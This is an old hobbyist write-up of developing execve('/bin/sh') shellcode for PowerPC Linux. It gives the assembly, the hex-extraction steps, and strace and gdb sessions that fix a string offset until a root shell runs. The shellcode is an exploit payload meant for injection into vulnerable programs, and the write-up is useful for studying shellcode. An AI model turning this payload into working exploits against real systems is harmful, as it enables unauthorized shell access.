Here is some hacked up asm for an execve on ppc linux.
this was born on Mandrake Linux 8.0 ppc Wed Sep 19 09:34:50 EDT 2001.  
I just bought an ibook and Optimizing PowerPC Code by G. Kacmarcik, 
slapped Mandrake 8 on it and in under a month this is what I came up with. 
This my first venture into asm so don't dis it unless you can do better. 
The asm code was the direct product of delta 9 THC and the hex code is a 
result of od2c.pl by corecode http://www.eikon.tum.de/~simons/security/. 

\x2e\x2f

------------<snip>----------------------------

# r0 is used for epilog / prolog code
# r1 is stack pointer 
# r3 - r10 1st - 8th fixed point paramaters
# r11 is the enviornment pointer
# r12 is for global linkage routines
# r13 - r31 must be preserved throughout function calls

.data
.text
.globl main 
.globl shell
main:
  stwu    %r1,-16(%r1)
  mflr    %r0   
  stw     %r31,12(%r1)     
  stw     %r0,20(%r1)   
  mr      %r31,%r1   
  .string "/bin/sh"
  bl      shell
  lwz     %r11,0(%r1)
  lwz     %r0,4(%r11)  
  mtlr    %r0   
  lwz     %r31,-4(%r11) 
  mr      %r1,%r11   
  blr    

shell:
  mflr    %r3
# use addi to find the offset of your string in memory
#  addi    %r3,%r3,-12
  addi    %r3,%r3,-40                     # hack from gdb output
  li      %r5,0
  li      %r0,11 
  sc

------------<snip>----------------------------

Heres how I compiled and extracted the shellcode from my asm. 

[root@osx extract]# gcc -o execve -static -ggdb ./execve.s
[root@osx extract]# ./execve -c id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

[root@osx extract]# objdump -d ./execve | ./od2c.pl main > shellcode.h
[root@osx extract]# objdump -d ./execve | ./od2c.pl shell >> shellcode.h

[root@osx extract]# cat shellcode.h >> shellcode.c     
[root@osx extract]# gcc -o shellcode -static -ggdb ./shellcode.c
./shellcode.c: In function `main':
./shellcode.c:35: warning: return type of `main' is not `int'

[root@osx extract]# ./shellcode
Illegal instruction (core dumped)

[root@osx extract]# strace ./shellcode
execve("./shellcode", ["./shellcode"], [/* 45 vars */]) = 0
uname({sys="Linux", node="osx.insight.rr.com", ...}) = 0
geteuid()                               = 0
getuid()                                = 0
getegid()                               = 0
getgid()                                = 0
brk(0)                                  = 0x10069f20
brk(0x10069f40)                         = 0x10069f40
brk(0x1006a000)                         = 0x1006a000
brk(0x1006b000)                         = 0x1006b000
getpid()                                = 1577
execve("}a[xN€", ["./shellcode"]ptrace: umoven: Input/output error
, [/* 0 vars */]) = -1 ENOENT (No such file or directory)
--- SIGILL (Illegal instruction) ---
+++ killed by SIGILL +++

[root@osx extract]# gdb ./shellcode
GNU gdb 5.0mdk-14mdk Linux-Mandrake 8.0
This GDB was configured as "ppc-mandrake-linux"...
(gdb) run
Starting program: /root/extract/./shellcode

Program received signal SIGILL, Illegal instruction.
0x10067010 in shellcode ()

(gdb) info register lr
lr             0x10066fe4       268857316
(gdb) x/10s 0x10066fe4-12
0x10066fd8 <shellcode+48>:       "}a[xN\200"

(gdb) x/10s 0x10066fe4-40
0x10066fbc <shellcode+20>:       "/bin/sh"

change shellcode to -40 instead of -12?

fix code as follows 
#  addi    %r3,%r3,-12
  addi    %r3,%r3,-40                     # hack from gdb output

modifyed code and it worked!
[root@osx extract]# gcc -o shellcode -static -ggdb ./shellcode.c
./shellcode.c: In function `main':
./shellcode.c:33: warning: return type of `main' is not `int'
[root@osx extract]# ./shellcode -c id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)